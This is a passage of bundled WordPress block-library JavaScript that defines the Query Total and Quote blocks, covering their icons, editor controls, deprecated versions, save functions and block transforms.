45163 },
45164 textAlign: {
45165 type: "string"
45166 },
45167 level: {
45168 type: "number",
45169 default: 1
45170 }
45171 },
45172 supports: {
45173 align: ["wide", "full"],
45174 html: false,
45175 color: {
45176 gradients: true
45177 },
45178 spacing: {
45179 margin: true
45180 },
45181 typography: {
45182 fontSize: true,
45183 lineHeight: true,
45184 __experimentalFontFamily: true
45185 }
45186 },
45187 save() {
45188 return null;
45189 },
45190 migrate: migrate_font_family_default,
45191 isEligible({ style }) {
45192 return style?.typography?.fontFamily;
45193 }
45194};
45195var query_title_deprecated_deprecated_default = [query_title_deprecated_v1];
45196
45197
45198;// ./node_modules/@wordpress/block-library/build-module/query-title/index.js
45199
45200
45201
45202
45203
45204
45205const { name: query_title_name } = query_title_block_namespaceObject;
45206const query_title_settings = {
45207 icon: title_default,
45208 edit: QueryTitleEdit,
45209 variations: query_title_variations_variations_default,
45210 deprecated: query_title_deprecated_deprecated_default
45211};
45212const query_title_init = () => initBlock({ name: query_title_name, metadata: query_title_block_namespaceObject, settings: query_title_settings });
45213
45214
45215;// ./node_modules/@wordpress/block-library/build-module/query-total/block.json
45216const query_total_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-total","title":"Query Total","category":"theme","ancestor":["core/query"],"description":"Display the total number of results in a query.","textdomain":"default","attributes":{"displayType":{"type":"string","default":"total-results"}},"usesContext":["queryId","query"],"supports":{"align":["wide","full"],"html":false,"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-query-total"}');
45217;// ./node_modules/@wordpress/block-library/build-module/query-total/icons.js
45218
45219
45220const resultsFound = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45221 external_wp_components_namespaceObject.SVG,
45222 {
45223 xmlns: "http://www.w3.org/2000/svg",
45224 viewBox: "0 0 24 24",
45225 width: "24",
45226 height: "24",
45227 "aria-hidden": "true",
45228 focusable: "false",
45229 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M4 11h4v2H4v-2zm6 0h6v2h-6v-2zm8 0h2v2h-2v-2z" })
45230 }
45231);
45232const displayingResults = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45233 external_wp_components_namespaceObject.SVG,
45234 {
45235 xmlns: "http://www.w3.org/2000/svg",
45236 viewBox: "0 0 24 24",
45237 width: "24",
45238 height: "24",
45239 "aria-hidden": "true",
45240 focusable: "false",
45241 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M4 13h2v-2H4v2zm4 0h10v-2H8v2zm12 0h2v-2h-2v2z" })
45242 }
45243);
45244const queryTotal = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45245 external_wp_components_namespaceObject.SVG,
45246 {
45247 xmlns: "http://www.w3.org/2000/svg",
45248 viewBox: "0 0 24 24",
45249 width: "24",
45250 height: "24",
45251 "aria-hidden": "true",
45252 focusable: "false",
45253 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12Zm-7-6-4.1 5h8.8v-3h-1.5v1.5h-4.2l2.9-3.5-2.9-3.5h4.2V10h1.5V7H7.4l4.1 5Z" })
45254 }
45255);
45256
45257
45258;// ./node_modules/@wordpress/block-library/build-module/query-total/edit.js
45259
45260
45261
45262
45263
45264function QueryTotalEdit({ attributes, setAttributes }) {
45265 const { displayType } = attributes;
45266 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
45267 const getButtonPositionIcon = () => {
45268 switch (displayType) {
45269 case "total-results":
45270 return resultsFound;
45271 case "range-display":
45272 return displayingResults;
45273 }
45274 };
45275 const buttonPositionControls = [
45276 {
45277 role: "menuitemradio",
45278 title: (0,external_wp_i18n_namespaceObject.__)("Total results"),
45279 isActive: displayType === "total-results",
45280 icon: resultsFound,
45281 onClick: () => {
45282 setAttributes({ displayType: "total-results" });
45283 }
45284 },
45285 {
45286 role: "menuitemradio",
45287 title: (0,external_wp_i18n_namespaceObject.__)("Range display"),
45288 isActive: displayType === "range-display",
45289 icon: displayingResults,
45290 onClick: () => {
45291 setAttributes({ displayType: "range-display" });
45292 }
45293 }
45294 ];
45295 const controls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45296 external_wp_components_namespaceObject.ToolbarDropdownMenu,
45297 {
45298 icon: getButtonPositionIcon(),
45299 label: (0,external_wp_i18n_namespaceObject.__)("Change display type"),
45300 controls: buttonPositionControls
45301 }
45302 ) }) });
45303 const renderDisplay = () => {
45304 if (displayType === "total-results") {
45305 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: (0,external_wp_i18n_namespaceObject.__)("12 results found") });
45306 }
45307 if (displayType === "range-display") {
45308 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: (0,external_wp_i18n_namespaceObject.__)("Displaying 1 \u2013 10 of 12") });
45309 }
45310 return null;
45311 };
45312 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
45313 controls,
45314 renderDisplay()
45315 ] });
45316}
45317
45318
45319;// ./node_modules/@wordpress/block-library/build-module/query-total/index.js
45320
45321
45322
45323
45324const { name: query_total_name } = query_total_block_namespaceObject;
45325const query_total_settings = {
45326 icon: queryTotal,
45327 edit: QueryTotalEdit
45328};
45329const query_total_init = () => initBlock({ name: query_total_name, metadata: query_total_block_namespaceObject, settings: query_total_settings });
45330
45331
45332;// ./node_modules/@wordpress/icons/build-module/library/quote.js
45333
45334
45335var quote_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 6v6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H13zm-9 6h5.2v4c0 .8-.2 1.4-.5 1.7-.6.6-1.6.6-2.5.5h-.3v1.5h.5c1 0 2.3-.1 3.3-1 .6-.6 1-1.6 1-2.8V6H4v6z" }) });
45336
45337
45338;// ./node_modules/@wordpress/block-library/build-module/quote/deprecated.js
45339
45340
45341
45342
45343const migrateToQuoteV2 = (attributes) => {
45344 const { value, ...restAttributes } = attributes;
45345 return [
45346 {
45347 ...restAttributes
45348 },
45349 value ? (0,external_wp_blocks_namespaceObject.parseWithAttributeSchema)(value, {
45350 type: "array",
45351 source: "query",
45352 selector: "p",
45353 query: {
45354 content: {
45355 type: "string",
45356 source: "html"
45357 }
45358 }
45359 }).map(
45360 ({ content }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", { content })
45361 ) : (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph")
45362 ];
45363};
45364const deprecated_TEXT_ALIGN_OPTIONS = ["left", "right", "center"];
45365const deprecated_migrateTextAlign = (attributes, innerBlocks) => {
45366 const { align, ...rest } = attributes;
45367 const migratedAttributes = deprecated_TEXT_ALIGN_OPTIONS.includes(align) ? { ...rest, textAlign: align } : attributes;
45368 return [migratedAttributes, innerBlocks];
45369};
45370const migrateLargeStyle = (attributes, innerBlocks) => {
45371 return [
45372 {
45373 ...attributes,
45374 className: attributes.className ? attributes.className + " is-style-large" : "is-style-large"
45375 },
45376 innerBlocks
45377 ];
45378};
45379const quote_deprecated_v4 = {
45380 attributes: {
45381 value: {
45382 type: "string",
45383 source: "html",
45384 selector: "blockquote",
45385 multiline: "p",
45386 default: "",
45387 role: "content"
45388 },
45389 citation: {
45390 type: "string",
45391 source: "html",
45392 selector: "cite",
45393 default: "",
45394 role: "content"
45395 },
45396 align: {
45397 type: "string"
45398 }
45399 },
45400 supports: {
45401 anchor: true,
45402 html: false,
45403 __experimentalOnEnter: true,
45404 __experimentalOnMerge: true,
45405 typography: {
45406 fontSize: true,
45407 lineHeight: true,
45408 __experimentalFontFamily: true,
45409 __experimentalFontWeight: true,
45410 __experimentalFontStyle: true,
45411 __experimentalTextTransform: true,
45412 __experimentalTextDecoration: true,
45413 __experimentalLetterSpacing: true,
45414 __experimentalDefaultControls: {
45415 fontSize: true,
45416 fontAppearance: true
45417 }
45418 },
45419 color: {
45420 gradients: true,
45421 heading: true,
45422 link: true,
45423 __experimentalDefaultControls: {
45424 background: true,
45425 text: true
45426 }
45427 }
45428 },
45429 isEligible: ({ align }) => deprecated_TEXT_ALIGN_OPTIONS.includes(align),
45430 save({ attributes }) {
45431 const { align, citation } = attributes;
45432 const className = dist_clsx({
45433 [`has-text-align-${align}`]: align
45434 });
45435 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
45436 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}),
45437 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
45438 ] });
45439 },
45440 migrate: deprecated_migrateTextAlign
45441};
45442const quote_deprecated_v3 = {
45443 attributes: {
45444 value: {
45445 type: "string",
45446 source: "html",
45447 selector: "blockquote",
45448 multiline: "p",
45449 default: "",
45450 role: "content"
45451 },
45452 citation: {
45453 type: "string",
45454 source: "html",
45455 selector: "cite",
45456 default: "",
45457 role: "content"
45458 },
45459 align: {
45460 type: "string"
45461 }
45462 },
45463 supports: {
45464 anchor: true,
45465 __experimentalSlashInserter: true,
45466 typography: {
45467 fontSize: true,
45468 lineHeight: true,
45469 __experimentalFontStyle: true,
45470 __experimentalFontWeight: true,
45471 __experimentalLetterSpacing: true,
45472 __experimentalTextTransform: true,
45473 __experimentalDefaultControls: {
45474 fontSize: true,
45475 fontAppearance: true
45476 }
45477 }
45478 },
45479 save({ attributes }) {
45480 const { align, value, citation } = attributes;
45481 const className = dist_clsx({
45482 [`has-text-align-${align}`]: align
45483 });
45484 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
45485 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { multiline: true, value }),
45486 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
45487 ] });
45488 },
45489 migrate(attributes) {
45490 return deprecated_migrateTextAlign(...migrateToQuoteV2(attributes));
45491 }
45492};
45493const quote_deprecated_v2 = {
45494 attributes: {
45495 value: {
45496 type: "string",
45497 source: "html",
45498 selector: "blockquote",
45499 multiline: "p",
45500 default: ""
45501 },
45502 citation: {
45503 type: "string",
45504 source: "html",
45505 selector: "cite",
45506 default: ""
45507 },
45508 align: {
45509 type: "string"
45510 }
45511 },
45512 migrate(attributes) {
45513 return deprecated_migrateTextAlign(...migrateToQuoteV2(attributes));
45514 },
45515 save({ attributes }) {
45516 const { align, value, citation } = attributes;
45517 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { style: { textAlign: align ? align : null }, children: [
45518 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { multiline: true, value }),
45519 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
45520 ] });
45521 }
45522};
45523const quote_deprecated_v1 = {
45524 attributes: {
45525 value: {
45526 type: "string",
45527 source: "html",
45528 selector: "blockquote",
45529 multiline: "p",
45530 default: ""
45531 },
45532 citation: {
45533 type: "string",
45534 source: "html",
45535 selector: "cite",
45536 default: ""
45537 },
45538 align: {
45539 type: "string"
45540 },
45541 style: {
45542 type: "number",
45543 default: 1
45544 }
45545 },
45546 migrate(attributes) {
45547 if (attributes.style === 2) {
45548 const { style, ...restAttributes } = attributes;
45549 return deprecated_migrateTextAlign(
45550 ...migrateLargeStyle(...migrateToQuoteV2(restAttributes))
45551 );
45552 }
45553 return deprecated_migrateTextAlign(...migrateToQuoteV2(attributes));
45554 },
45555 save({ attributes }) {
45556 const { align, value, citation, style } = attributes;
45557 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45558 "blockquote",
45559 {
45560 className: style === 2 ? "is-large" : "",
45561 style: { textAlign: align ? align : null },
45562 children: [
45563 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { multiline: true, value }),
45564 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
45565 ]
45566 }
45567 );
45568 }
45569};
45570const quote_deprecated_v0 = {
45571 attributes: {
45572 value: {
45573 type: "string",
45574 source: "html",
45575 selector: "blockquote",
45576 multiline: "p",
45577 default: ""
45578 },
45579 citation: {
45580 type: "string",
45581 source: "html",
45582 selector: "footer",
45583 default: ""
45584 },
45585 align: {
45586 type: "string"
45587 },
45588 style: {
45589 type: "number",
45590 default: 1
45591 }
45592 },
45593 migrate(attributes) {
45594 if (!isNaN(parseInt(attributes.style))) {
45595 const { style, ...restAttributes } = attributes;
45596 return deprecated_migrateTextAlign(...migrateToQuoteV2(restAttributes));
45597 }
45598 return deprecated_migrateTextAlign(...migrateToQuoteV2(attributes));
45599 },
45600 save({ attributes }) {
45601 const { align, value, citation, style } = attributes;
45602 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
45603 "blockquote",
45604 {
45605 className: `blocks-quote-style-${style}`,
45606 style: { textAlign: align ? align : null },
45607 children: [
45608 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { multiline: true, value }),
45609 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "footer", value: citation })
45610 ]
45611 }
45612 );
45613 }
45614};
45615var quote_deprecated_deprecated_default = [quote_deprecated_v4, quote_deprecated_v3, quote_deprecated_v2, quote_deprecated_v1, quote_deprecated_v0];
45616
45617
45618;// ./node_modules/@wordpress/icons/build-module/library/verse.js
45619
45620
45621var verse_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });
45622
45623
45624;// ./node_modules/@wordpress/block-library/build-module/quote/edit.js
45625
45626
45627
45628
45629
45630
45631
45632
45633
45634
45635
45636const edit_isWebPlatform = external_wp_element_namespaceObject.Platform.OS === "web";
45637const quote_edit_TEMPLATE = [["core/paragraph", {}]];
45638const edit_useMigrateOnLoad = (attributes, clientId) => {
45639 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
45640 const { updateBlockAttributes, replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
45641 (0,external_wp_element_namespaceObject.useEffect)(() => {
45642 if (!attributes.value) {
45643 return;
45644 }
45645 const [newAttributes, newInnerBlocks] = migrateToQuoteV2(attributes);
45646 external_wp_deprecated_default()("Value attribute on the quote block", {
45647 since: "6.0",
45648 version: "6.5",
45649 alternative: "inner blocks"
45650 });
45651 registry.batch(() => {
45652 updateBlockAttributes(clientId, newAttributes);
45653 replaceInnerBlocks(clientId, newInnerBlocks);
45654 });
45655 }, [attributes.value]);
45656};
45657function QuoteEdit({
45658 attributes,
45659 setAttributes,
45660 insertBlocksAfter,
45661 clientId,
45662 className,
45663 style,
45664 isSelected
45665}) {
45666 const { textAlign, allowedBlocks } = attributes;
45667 edit_useMigrateOnLoad(attributes, clientId);
45668 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
45669 className: dist_clsx(className, {
45670 [`has-text-align-${textAlign}`]: textAlign
45671 }),
45672 ...!edit_isWebPlatform && { style }
45673 });
45674 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
45675 template: quote_edit_TEMPLATE,
45676 templateInsertUpdatesSelection: true,
45677 __experimentalCaptureToolbars: true,
45678 renderAppender: false,
45679 allowedBlocks
45680 });
45681 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45682 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45683 external_wp_blockEditor_namespaceObject.AlignmentControl,
45684 {
45685 value: textAlign,
45686 onChange: (nextAlign) => {
45687 setAttributes({ textAlign: nextAlign });
45688 }
45689 }
45690 ) }),
45691 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.BlockQuotation, { ...innerBlocksProps, children: [
45692 innerBlocksProps.children,
45693 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45694 Caption,
45695 {
45696 attributeKey: "citation",
45697 tagName: edit_isWebPlatform ? "cite" : "p",
45698 style: edit_isWebPlatform && { display: "block" },
45699 isSelected,
45700 attributes,
45701 setAttributes,
45702 __unstableMobileNoFocusOnMount: true,
45703 icon: verse_default,
45704 label: (0,external_wp_i18n_namespaceObject.__)("Quote citation"),
45705 placeholder: (
45706 // translators: placeholder text used for the
45707 // citation
45708 (0,external_wp_i18n_namespaceObject.__)("Add citation")
45709 ),
45710 addLabel: (0,external_wp_i18n_namespaceObject.__)("Add citation"),
45711 removeLabel: (0,external_wp_i18n_namespaceObject.__)("Remove citation"),
45712 excludeElementClassName: true,
45713 className: "wp-block-quote__citation",
45714 insertBlocksAfter,
45715 ...!edit_isWebPlatform ? { textAlign } : {}
45716 }
45717 )
45718 ] })
45719 ] });
45720}
45721
45722
45723;// ./node_modules/@wordpress/block-library/build-module/quote/block.json
45724const quote_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/quote","title":"Quote","category":"text","description":"Give quoted text visual emphasis. \\"In quoting others, we cite ourselves.\\" — Julio Cortázar","keywords":["blockquote","cite"],"textdomain":"default","attributes":{"value":{"type":"string","source":"html","selector":"blockquote","multiline":"p","default":"","role":"content"},"citation":{"type":"rich-text","source":"rich-text","selector":"cite","role":"content"},"textAlign":{"type":"string"}},"supports":{"anchor":true,"align":["left","right","wide","full"],"html":false,"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"dimensions":{"minHeight":true,"__experimentalDefaultControls":{"minHeight":false}},"__experimentalOnEnter":true,"__experimentalOnMerge":true,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"color":{"gradients":true,"heading":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"layout":{"allowEditing":false},"spacing":{"blockGap":true,"padding":true,"margin":true},"interactivity":{"clientNavigation":true},"allowedBlocks":true},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"plain","label":"Plain"}],"editorStyle":"wp-block-quote-editor","style":"wp-block-quote"}');
45725;// ./node_modules/@wordpress/block-library/build-module/quote/save.js
45726
45727
45728
45729function quote_save_save({ attributes }) {
45730 const { textAlign, citation } = attributes;
45731 const className = dist_clsx({
45732 [`has-text-align-${textAlign}`]: textAlign
45733 });
45734 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("blockquote", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
45735 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}),
45736 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "cite", value: citation })
45737 ] });
45738}
45739
45740
45741;// ./node_modules/@wordpress/block-library/build-module/quote/transforms.js
45742
45743
45744const quote_transforms_transforms = {
45745 from: [
45746 {
45747 type: "block",
45748 blocks: ["core/pullquote"],
45749 transform: ({
45750 value,
45751 align,
45752 citation,
45753 anchor,
45754 fontSize,
45755 style
45756 }) => {
45757 return (0,external_wp_blocks_namespaceObject.createBlock)(
45758 "core/quote",
45759 {
45760 align,
45761 citation,
45762 anchor,
45763 fontSize,
45764 style
45765 },
45766 [(0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", { content: value })]
45767 );
45768 }
45769 },
45770 {
45771 type: "prefix",
45772 prefix: ">",
45773 transform: (content) => (0,external_wp_blocks_namespaceObject.createBlock)("core/quote", {}, [
45774 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", { content })
45775 ])
45776 },
45777 {
45778 type: "raw",
45779 schema: () => ({
45780 blockquote: {
45781 children: "*"
45782 }
45783 }),
45784 selector: "blockquote",
45785 transform: (node, handler) => {
45786 return (0,external_wp_blocks_namespaceObject.createBlock)(
45787 "core/quote",
45788 // Don't try to parse any `cite` out of this content.
45789 // * There may be more than one cite.
45790 // * There may be more attribution text than just the cite.
45791 // * If the cite is nested in the quoted text, it's wrong to
45792 // remove it.
45793 {},
45794 handler({
45795 HTML: node.innerHTML,
45796 mode: "BLOCKS"
45797 })
45798 );
45799 }
45800 },
45801 {
45802 type: "block",
45803 isMultiBlock: true,
45804 blocks: ["*"],
45805 isMatch: ({}, blocks) => {
45806 if (blocks.length === 1) {
45807 return [
45808 "core/paragraph",
45809 "core/heading",
45810 "core/list",
45811 "core/pullquote"
45812 ].includes(blocks[0].name);
45813 }
45814 return !blocks.some(({ name }) => name === "core/quote");
45815 },
45816 __experimentalConvert: (blocks) => (0,external_wp_blocks_namespaceObject.createBlock)(
45817 "core/quote",
45818 {},
45819 blocks.map(
45820 (block) => (0,external_wp_blocks_namespaceObject.createBlock)(
45821 block.name,
45822 block.attributes,
45823 block.innerBlocks
45824 )
45825 )
45826 )
45827 }
45828 ],
45829 to: [
45830 {
45831 type: "block",
45832 blocks: ["core/pullquote"],
45833 isMatch: ({}, block) => {
45834 return block.innerBlocks.every(
45835 ({ name }) => name === "core/paragraph"
45836 );
45837 },
45838 transform: ({ align, citation, anchor, fontSize, style }, innerBlocks) => {
45839 const value = innerBlocks.map(({ attributes }) => `${attributes.content}`).join("<br>");
45840 return (0,external_wp_blocks_namespaceObject.createBlock)("core/pullquote", {
45841 value,
45842 align,
45843 citation,
45844 anchor,
45845 fontSize,
45846 style
45847 });
45848 }
45849 },
45850 {
45851 type: "block",
45852 blocks: ["core/paragraph"],
45853 transform: ({ citation }, innerBlocks) => external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) ? innerBlocks : [
45854 ...innerBlocks,
45855 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
45856 content: citation
45857 })
45858 ]
45859 },
45860 {
45861 type: "block",
45862 blocks: ["core/group"],
45863 transform: ({ citation, anchor }, innerBlocks) => (0,external_wp_blocks_namespaceObject.createBlock)(
45864 "core/group",
45865 { anchor },
45866 external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) ? innerBlocks : [
45867 ...innerBlocks,
45868 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
45869 content: citation
45870 })
45871 ]
45872 )
45873 }
45874 ],
45875 ungroup: ({ citation }, innerBlocks) => external_wp_blockEditor_namespaceObject.RichText.isEmpty(citation) ? innerBlocks : [
45876 ...innerBlocks,
45877 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
45878 content: citation
45879 })
45880 ]
45881};
45882var quote_transforms_transforms_default = quote_transforms_transforms;
45883
45884
45885;// ./node_modules/@wordpress/block-library/build-module/quote/index.js
45886
45887
45888
45889
45890
45891
45892
45893
45894const { name: quote_name } = quote_block_namespaceObject;
45895const quote_settings = {
45896 icon: quote_default,
45897 example: {
45898 attributes: {
45899 citation: (0,external_wp_i18n_namespaceObject.__)("Julio Cort\xE1zar")
45900 },
45901 innerBlocks: [
45902 {
45903 name: "core/paragraph",
45904 attributes: {
45905 content: (0,external_wp_i18n_namespaceObject.__)("In quoting others, we cite ourselves.")
45906 }
45907 }
45908 ]
45909 },
45910 transforms: quote_transforms_transforms_default,
45911 edit: QuoteEdit,
45912 save: quote_save_save,
45913 deprecated: quote_deprecated_deprecated_default
45914};
45915const quote_init = () => initBlock({ name: quote_name, metadata: quote_block_namespaceObject, settings: quote_settings });
45916
45917
45918;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
45919
45920
45921var symbol_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
45922
45923
45924;// ./node_modules/@wordpress/block-library/build-module/block/block.json
45925const block_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/block","title":"Pattern","category":"reusable","description":"Reuse this design across your site.","keywords":["reusable"],"textdomain":"default","attributes":{"ref":{"type":"number"},"content":{"type":"object","default":{}}},"providesContext":{"pattern/overrides":"content"},"supports":{"customClassName":false,"html":false,"inserter":false,"renaming":false,"interactivity":{"clientNavigation":true}}}');
45926;// external ["wp","patterns"]
45927const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
